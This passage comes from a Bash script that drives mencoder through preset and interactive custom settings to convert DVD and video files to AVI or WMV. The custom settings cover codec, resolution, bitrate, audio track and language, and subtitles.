	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts pass=2:vhq=2:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 12 ]] ; then
	# high H.264 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts subq=5:8x8dct:frameref=2:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 13 ]] ; then
	# high MPEG4 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 14 ]] ; then
	# high XVID quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts vhq=2:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### fast quality
	if [[ $Q = 15 ]] ; then
	# fast H.264 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts subq=4:8x8dct:bframes=2:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 16 ]] ; then
	# fast MPEG4 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:trell:v4mv:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 17 ]] ; then
	# fast XVID quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts turbo:vhq=0:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### YouTube quality
	if [[ $Q = 18 ]] ; then
	# YouTube MPEG4 quality (1-pass)
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:threads=$CPUS -ffourcc xvid -vf scale=320:-2,expand=:240:::1 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### realtime quality
	if [[ $Q = 19 ]] ; then
	# realtime MPEG4 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 20 ]] ; then
	# realtime XVID quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc xvid -xvidencopts turbo:nochroma_me:notrellis:max_bframes=0:vhq=0:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### low quality
	if [[ $Q = 21 ]] ; then
	# low WMV quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts cbr:br=16:vol=3 -ovc lavc -lavcopts vcodec=wmv2:vbitrate=100 -vf scale -zoom -xy 240 $FRAME_RATE -o $OUTPUT_FILE.wmv
	fi
	####################### Custom quality
	if [[ $Q = 22 ]] ; then
	# If 22 passed, use custom quality (1-pass and 2-pass)
	####################### Custom type options
	echo -n "What type of AVI do you want to create with custom settings?:

	(1)  H.264		(2-Pass)
	(2)  H.264		(1-Pass)
	(3)  DIVX/MPEG-4	(2-Pass)
	(4)  DIVX/MPEG-4	(1-Pass)
	(5)  XVID		(2-Pass)
	(6)  XVID		(1-Pass)

	Press 'Enter' for default (default is '6')...

	"
	read MPEG4_TYPE
	###### extra blank space
	echo "
	"
	###### default ######
	if [[ -z $MPEG4_TYPE ]] ; then
	    # If no media passed, default to 6
	    MPEG4_TYPE=6
	fi
	####################### Custom Divx ffourcc menu
	###### DivX ffourcc menu
	if [[ $MPEG4_TYPE != 1 && $MPEG4_TYPE != 2 && $MPEG4_TYPE != 5 && $MPEG4_TYPE != 6 ]] ; then
	echo -n "Select the desired Divx or generic MPEG4 quality:

	(1) FFMPEG MPEG-4
	(2) DivX MPEG-4 Version 4
	(3) DivX MPEG-4 Version 5

	Press 'Enter' for default (default is '3')...

	"
	read CUSTOM_DIVX_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $CUSTOM_DIVX_NUMBER ]] ; then
	    # If no file passed, default to 3
	    CUSTOM_DIVX="-ffourcc DX50"
	fi
	###### preset
	if [[ $CUSTOM_DIVX_NUMBER = 1 ]] ; then
	    CUSTOM_DIVX=
	fi
	if [[ $CUSTOM_DIVX_NUMBER = 2 ]] ; then
	    CUSTOM_DIVX="-ffourcc DIVX"
	fi
	if [[ $CUSTOM_DIVX_NUMBER = 3 ]] ; then
	    CUSTOM_DIVX="-ffourcc DX50"
	fi
	fi
	####################### Custom scaling
	echo -n "Choose a resolution:

	(1)  original resolution(cropped, but no scaling)
	(2)  624 x 352 scaling	(fullscreen/widescreen)
	(3)  624 x ??? scaling	(fullscreen/widescreen)	(auto-height)
	(4)  800 x 600 scaling	(fullscreen)
	(5)  800 x ??? scaling	(fullscreen) 		(auto-height)
	(6)  600 x 400 scaling	(widescreen)
	(7)  600 x ??? scaling	(widescreen) 		(auto-height)
	(8)  640 x 480 scaling	(fullscreen)
	(9)  640 x ??? scaling	(fullscreen) 		(auto-height)
	(10) 704 x 294 scaling	(widescreen) (2.35:1)
	(11) 704 x ??? scaling	(widescreen) (2.35:1) 	(auto-height)
	(12) 768 x 432 scaling	(widescreen) (16:9)
	(13) 768 x ??? scaling	(widescreen) (16:9) 	(auto-height)
	(14) custom

	Press 'Enter' for default (default is '3')...

	"
	read SCALING_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $SCALING_NUMBER ]] ; then
	    # If no file passed, default to 3
	    SCALING="scale -zoom -xy 624"
	fi
	###### preset
	if [[ $SCALING_NUMBER = 1 ]] ; then
	    SCALING="scale=${CROP_VALUES}"
	fi
	if [[ $SCALING_NUMBER = 2 ]] ; then
	    SCALING="scale=624:352"
	fi
	if [[ $SCALING_NUMBER = 3 ]] ; then
	    SCALING="scale -zoom -xy 624"
	fi
	if [[ $SCALING_NUMBER = 4 ]] ; then
	    SCALING="scale=800:600"
	fi
	if [[ $SCALING_NUMBER = 5 ]] ; then
	    SCALING="scale -zoom -xy 800"
	fi
	if [[ $SCALING_NUMBER = 6 ]] ; then
	    SCALING="scale=600:400"
	fi
	if [[ $SCALING_NUMBER = 7 ]] ; then
	    SCALING="scale -zoom -xy 600"
	fi
	if [[ $SCALING_NUMBER = 8 ]] ; then
	    SCALING="scale=640:480"
	fi
	if [[ $SCALING_NUMBER = 9 ]] ; then
	    SCALING="scale -zoom -xy 640"
	fi
	if [[ $SCALING_NUMBER = 10 ]] ; then
	    SCALING="scale=704:294"
	fi
	if [[ $SCALING_NUMBER = 11 ]] ; then
	    SCALING="sscale -zoom -xy 704"
	fi
	if [[ $SCALING_NUMBER = 12 ]] ; then
	    SCALING="scale=768:432"
	fi
	if [[ $SCALING_NUMBER = 13 ]] ; then
	    SCALING="scale -zoom -xy 768"
	fi
	###### custom
	if [[ $SCALING_NUMBER = 14 ]] ; then
	    echo -n "Please enter a custom scale:  "
	    echo -n "...like this: 'scale=800:600' or 'scale -zoom -xy 624'..."
	    read CUSTOM_SCALING
	    SCALING=$CUSTOM_SCALING
	fi
	####################### Custom total/video bitrate level
	echo -n "Select a total/video bitrate level:

	(1)  -350000	(= max file size of ~ 350MB)	(H.264/XVID only)
	(2)  -700000	(= max file size of ~ 700MB)	(H.264/XVID only)
	(3)  -1000000	(= max file size of ~ 1GB)	(H.264/XVID only)
	(4)  400 kbps
	(5)  600 kbps
	(6)  800 kbps
	(7)  1000 kbps
	(8)  1100 kbps
	(9)  1150 kbps
	(10) 1200 kbps
	(11) 1250 kbps
	(12) 1500 kbps
	(13) 2000 kbps
	(14) 3000 kbps
	(15) 4000 kbps
	(16) 5000 kbps
	(17) custom

	Press 'Enter' for default (default is '2')...

	"
	read BITRATE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $BITRATE_NUMBER ]] ; then
	    # If no file passed, default to 2
	    BITRATE=-700000
	fi
	###### preset
	if [[ $BITRATE_NUMBER = 1 ]] ; then
	    BITRATE=-350000
	fi
	if [[ $BITRATE_NUMBER = 2 ]] ; then
	    BITRATE=-700000
	fi
	if [[ $BITRATE_NUMBER = 3 ]] ; then
	    BITRATE=-1000000
	fi
	if [[ $BITRATE_NUMBER = 4 ]] ; then
	    BITRATE=400
	fi
	if [[ $BITRATE_NUMBER = 5 ]] ; then
	    BITRATE=600
	fi
	if [[ $BITRATE_NUMBER = 6 ]] ; then
	    BITRATE=800
	fi
	if [[ $BITRATE_NUMBER = 7 ]] ; then
	    BITRATE=1000
	fi
	if [[ $BITRATE_NUMBER = 8 ]] ; then
	    BITRATE=1100
	fi
	if [[ $BITRATE_NUMBER = 9 ]] ; then
	    BITRATE=1150
	fi
	if [[ $BITRATE_NUMBER = 10 ]] ; then
	    BITRATE=1200
	fi
	if [[ $BITRATE_NUMBER = 11 ]] ; then
	    BITRATE=1250
	fi
	if [[ $BITRATE_NUMBER = 12 ]] ; then
	    BITRATE=1500
	fi
	if [[ $BITRATE_NUMBER = 13 ]] ; then
	    BITRATE=2000
	fi
	if [[ $BITRATE_NUMBER = 14 ]] ; then
	    BITRATE=3000
	fi
	if [[ $BITRATE_NUMBER = 15 ]] ; then
	    BITRATE=4000
	fi
	if [[ $BITRATE_NUMBER = 16 ]] ; then
	    BITRATE=5000
	fi
	###### custom
	if [[ $BITRATE_NUMBER = 17 ]] ; then
	    echo -n "Please enter a custom total/video bitrate:  "
	    echo -n "...like this: '1175'..."
	    read CUSTOM_BITRATE
	    BITRATE=$CUSTOM_BITRATE
	fi
	####################### Custom audio track
	echo -n "Select an audio track:

	(1) -aid 0	(good when getting no audio with others) (ex.: Custom DVD rips)
	(2) -aid 127
	(3) -aid 128	(often main language non-director's commentary audio track)
	(4) -aid 129	(often second track, such as director's commentary)
	(5) -aid 130
	(6) -aid 131
	(7) -aid 132
	(8) -aid 160
	(9) custom

	Press 'Enter' for default (default is 'null', which is DVD default)...

	"
	read AUDIO_TRACK_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $AUDIO_TRACK_NUMBER ]] ; then
	    # If no file passed, default to null
	    AUDIO_TRACK=
	fi
	###### preset
	if [[ $AUDIO_TRACK_NUMBER = 1 ]] ; then
	    AUDIO_TRACK="-aid 0"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 2 ]] ; then
	    AUDIO_TRACK="-aid 127"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 3 ]] ; then
	    AUDIO_TRACK="-aid 128"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 4 ]] ; then
	    AUDIO_TRACK="-aid 129"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 5 ]] ; then
	    AUDIO_TRACK="-aid 130"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 6 ]] ; then
	    AUDIO_TRACK="-aid 131"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 7 ]] ; then
	    AUDIO_TRACK="-aid 132"
	fi
	if [[ $AUDIO_TRACK_NUMBER = 8 ]] ; then
	    AUDIO_TRACK="-aid 160"
	fi
	###### custom
	if [[ $AUDIO_TRACK_NUMBER = 9 ]] ; then
	    echo -n "Please enter a custom audio track:  "
	    echo -n "...like this: '-aid 128'..."
	    read CUSTOM_AUDIO_TRACK
	    AUDIO_TRACK=$CUSTOM_AUDIO_TRACK
	fi
	####################### Custom audio track language
	echo -n "Select an audio track language:

	(1)  Chinese - zh
	(2)  Dansk (Danish) - da
	(3)  Deutsch - de
	(4)  English - en
	(5)  Español - es
	(6)  Français - fr
	(7)  Greek - el
	(8)  Italiano (Italian) - it
	(9)  Japanese - ja
	(10) Korean - ko
	(11) Nederlands - nl
	(12) Polish - pl
	(13) Portugues - pt
	(14) Russian - ru

	Or input your own (like this: 'en')...

	Press 'Enter' for default (default is 'null', which is DVD default)...

	"
	read AUDIO_LANGUAGE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $AUDIO_LANGUAGE_NUMBER ]] ; then
	    # If no file passed, default to null
	    AUDIO_LANGUAGE=
	fi
	###### preset
	if [[ $AUDIO_LANGUAGE_NUMBER = 1 ]] ; then
	    AUDIO_LANGUAGE="-alang zh"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 2 ]] ; then
	    AUDIO_LANGUAGE="-alang da"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 3 ]] ; then
	    AUDIO_LANGUAGE="-alang de"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 4 ]] ; then
	    AUDIO_LANGUAGE="-alang en"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 5 ]] ; then
	    AUDIO_LANGUAGE="-alang es"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 6 ]] ; then
	    AUDIO_LANGUAGE="-alang fr"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 7 ]] ; then
	    AUDIO_LANGUAGE="-alang el"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 8 ]] ; then
	    AUDIO_LANGUAGE="-alang it"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 9 ]] ; then
	    AUDIO_LANGUAGE="-alang ja"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 10 ]] ; then
	    AUDIO_LANGUAGE="-alang ko"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 11 ]] ; then
	    AUDIO_LANGUAGE="-alang nl"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 12 ]] ; then
	    AUDIO_LANGUAGE="-alang pl"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 13 ]] ; then
	    AUDIO_LANGUAGE="-alang pt"
	fi
	if [[ $AUDIO_LANGUAGE_NUMBER = 14 ]] ; then
	    AUDIO_LANGUAGE="-alang ru"
	fi
	####################### Custom audio bitrate level
	echo -n "Select an audio bitrate level:

	(1) 48 kbps
	(2) 64 kbps
	(3) 128 kbps
	(4) 160 kbps
	(5) 192 kbps
	(6) 224 kbps
	(7) 256 kbps
	(8) 320 kbps
	(9) custom

	Press 'Enter' for default (default is '3')...

	"
	read AUDIO_BITRATE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $AUDIO_BITRATE_NUMBER ]] ; then
	    # If no file passed, default to 3
	    AUDIO_BITRATE=128
	fi
	###### preset
	if [[ $AUDIO_BITRATE_NUMBER = 1 ]] ; then
	    AUDIO_BITRATE=48
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 2 ]] ; then
	    AUDIO_BITRATE=96
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 3 ]] ; then
	    AUDIO_BITRATE=128
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 4 ]] ; then
	    AUDIO_BITRATE=160
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 5 ]] ; then
	    AUDIO_BITRATE=192
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 6 ]] ; then
	    AUDIO_BITRATE=224
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 7 ]] ; then
	    AUDIO_BITRATE=256
	fi
	if [[ $AUDIO_BITRATE_NUMBER = 8 ]] ; then
	    AUDIO_BITRATE=320
	fi
	###### custom
	if [[ $AUDIO_BITRATE_NUMBER = 9 ]] ; then
	    echo -n "Please enter a custom audio bitrate level:  "
	    echo -n "...like this: '100'..."
	    read CUSTOM_AUDIO_BITRATE
	    AUDIO_BITRATE=$CUSTOM_AUDIO_BITRATE
	fi
	####################### Custom audio bitrate type
	echo -n "Select an audio bitrate type:

	(1) Average Bitrate
	(2) Constant Bitrate
	(3) Variable Bitrate

	Press 'Enter' for default (default is '1')...

	"
	read AUDIO_BITRATE_TYPE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $AUDIO_BITRATE_TYPE_NUMBER ]] ; then
	    # If no file passed, default to abr
	    AUDIO_BITRATE_TYPE=abr
	fi
	###### preset
	if [[ $AUDIO_BITRATE_TYPE_NUMBER = 1 ]] ; then
	    AUDIO_BITRATE_TYPE=abr
	fi
	if [[ $AUDIO_BITRATE_TYPE_NUMBER = 2 ]] ; then
	    AUDIO_BITRATE_TYPE=cbr
	fi
	if [[ $AUDIO_BITRATE_TYPE_NUMBER = 3 ]] ; then
	    AUDIO_BITRATE_TYPE=vbr
	fi
	####################### Custom audio volume level
	echo -n "Select an audio volume increase level (1-10):

	Press 'Enter' for default (default is '3')...

	"
	read AUDIO_VOLUME_LEVEL
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $AUDIO_VOLUME_LEVEL ]] ; then
	    # If no file passed, default to 3
	    AUDIO_VOLUME_LEVEL=3
	fi
	####################### Subtitles?
	echo -n "Do you want subtitles?:

	(1) No
	(2) Yes (DVD/ISO only)

	Press 'Enter' for default (default is '1', for no subtitles)...

	"
	read SUBTITLE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $SUBTITLE_NUMBER ]] ; then
	    # If no file passed, default to null
	    SUBTITLE_TRACK=
	    SUBTITLE_LANGUAGE=
	    SUBTITLE_TYPE=
	fi
	###### preset
	if [[ $SUBTITLE_NUMBER = 1 ]] ; then
	    SUBTITLE_TRACK=
	    SUBTITLE_LANGUAGE=
	    SUBTITLE_TYPE=
	fi
	if [[ $SUBTITLE_NUMBER = 2 ]] ; then
	####################### Custom subtitle track
	echo -n "Select a subtitle track:

	(1) -sid 0
	(2) -sid 1
	(3) -sid 2
	(4) -sid 3
	(5) -sid 4
	(6) -sid 5
	(7) -sid 6
	(8) -sid 7
	(9) custom

	Press 'Enter' for default (default is 'null')...

	"
	read SUBTITLE_TRACK_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $SUBTITLE_TRACK_NUMBER ]] ; then
	    # If no file passed, default to null
	    SUBTITLE_TRACK=
	fi
	###### preset
	if [[ $SUBTITLE_TRACK_NUMBER = 1 ]] ; then
	    SUBTITLE_TRACK="-sid 0"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 2 ]] ; then
	    SUBTITLE_TRACK="-sid 1"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 3 ]] ; then
	    SUBTITLE_TRACK="-sid 2"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 4 ]] ; then
	    SUBTITLE_TRACK="-sid 3"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 5 ]] ; then
	    SUBTITLE_TRACK="-sid 4"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 6 ]] ; then
	    SUBTITLE_TRACK="-sid 5"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 7 ]] ; then
	    SUBTITLE_TRACK="-sid 6"
	fi
	if [[ $SUBTITLE_TRACK_NUMBER = 8 ]] ; then
	    SUBTITLE_TRACK="-sid 7"
	fi
	###### custom
	if [[ $SUBTITLE_TRACK_NUMBER = 9 ]] ; then
	    echo -n "Please enter a custom subtitles track:  "
	    echo -n "...like this: '-sid 10'..."
	    read CUSTOM_SUBTITLE_TRACK
	    SUBTITLE_TRACK=$CUSTOM_SUBTITLE_TRACK
	fi
	####################### Custom subtitles track language
	echo -n "Select a subtitles track language:

	(1)  Chinese - zh
	(2)  Dansk (Danish) - da
	(3)  Deutsch - de
	(4)  English - en
	(5)  Español - es
	(6)  Français - fr
	(7)  Greek - el
	(8)  Italiano (Italian) - it
	(9)  Japanese - ja
	(10) Korean - ko
	(11) Nederlands - nl
	(12) Polish - pl
	(13) Portugues - pt
	(14) Russian - ru

	Or input your own (like this: 'en')...

	Press 'Enter' for default (default is 'null')...

	"
	read SUBTITLE_LANGUAGE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $SUBTITLE_LANGUAGE_NUMBER ]] ; then
	    # If no file passed, default to null
	    SUBTITLE_LANGUAGE=
	fi
	###### preset
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 1 ]] ; then
	    SUBTITLE_LANGUAGE="-slang zh"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 2 ]] ; then
	    SUBTITLE_LANGUAGE="-slang da"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 3 ]] ; then
	    SUBTITLE_LANGUAGE="-slang de"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 4 ]] ; then
	    SUBTITLE_LANGUAGE="-slang en"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 5 ]] ; then
	    SUBTITLE_LANGUAGE="-slang es"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 6 ]] ; then
	    SUBTITLE_LANGUAGE="-slang fr"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 7 ]] ; then
	    SUBTITLE_LANGUAGE="-slang el"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 8 ]] ; then
	    SUBTITLE_LANGUAGE="-slang it"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 9 ]] ; then
	    SUBTITLE_LANGUAGE="-slang ja"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 10 ]] ; then
	    SUBTITLE_LANGUAGE="-slang ko"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 11 ]] ; then
	    SUBTITLE_LANGUAGE="-slang nl"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 12 ]] ; then
	    SUBTITLE_LANGUAGE="-slang pl"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 13 ]] ; then
	    SUBTITLE_LANGUAGE="-slang pt"
	fi
	if [[ $SUBTITLE_LANGUAGE_NUMBER = 14 ]] ; then
	    SUBTITLE_LANGUAGE="-slang ru"
	fi
	####################### Subtitle Kind?
	echo -n "What kind of subtitles do you prefer?:

	(1)  Embed onto the video
	(2)  Embed into a separate file

	Press 'Enter' for default (default is '1')...

	"
	read SUBTITLE_TYPE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $SUBTITLE_TYPE_NUMBER ]] ; then
	    # If no file passed, default to null
	    SUBTITLE_TYPE=
	fi
	###### preset
	if [[ $SUBTITLE_TYPE_NUMBER = 1 ]] ; then
	    SUBTITLE_TYPE=
	fi
	if [[ $SUBTITLE_TYPE_NUMBER = 2 ]] ; then
	    SUBTITLE_TYPE="-vobsubout ${OUTPUT_FILE}"
	fi
	###### closes the preset of 'yes' for subtitles
	fi
	####################### Custom conversion is starting
	###### extra blank space
	echo "
	"
	###### custom conversion is starting message
	read -sn 1 -p "Your custom conversion is about to begin, press any key to continue..."
	####################### Custom conversions (very high quality settings)
	###### custom preset ######
	###### H.264
	if [[ $MPEG4_TYPE = 1 ]] ; then
	# actual two-pass conversion
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc x264 -x264encopts pass=2:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $MPEG4_TYPE = 2 ]] ; then
	# actual one-pass conversion
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc x264 -x264encopts subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### MPEG4
	if [[ $MPEG4_TYPE = 3 ]] ; then
	# actual two-pass conversion
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc lavc $CUSTOM_DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc lavc $CUSTOM_DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $MPEG4_TYPE = 4 ]] ; then
	# actual one-pass conversion
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc lavc $CUSTOM_DIVX -lavcopts vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### XVID
	if [[ $MPEG4_TYPE = 5 ]] ; then
	# actual two-pass conversion
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=1:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc xvid -xvidencopts pass=2:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $MPEG4_TYPE = 6 ]] ; then
	# actual one-pass conversion
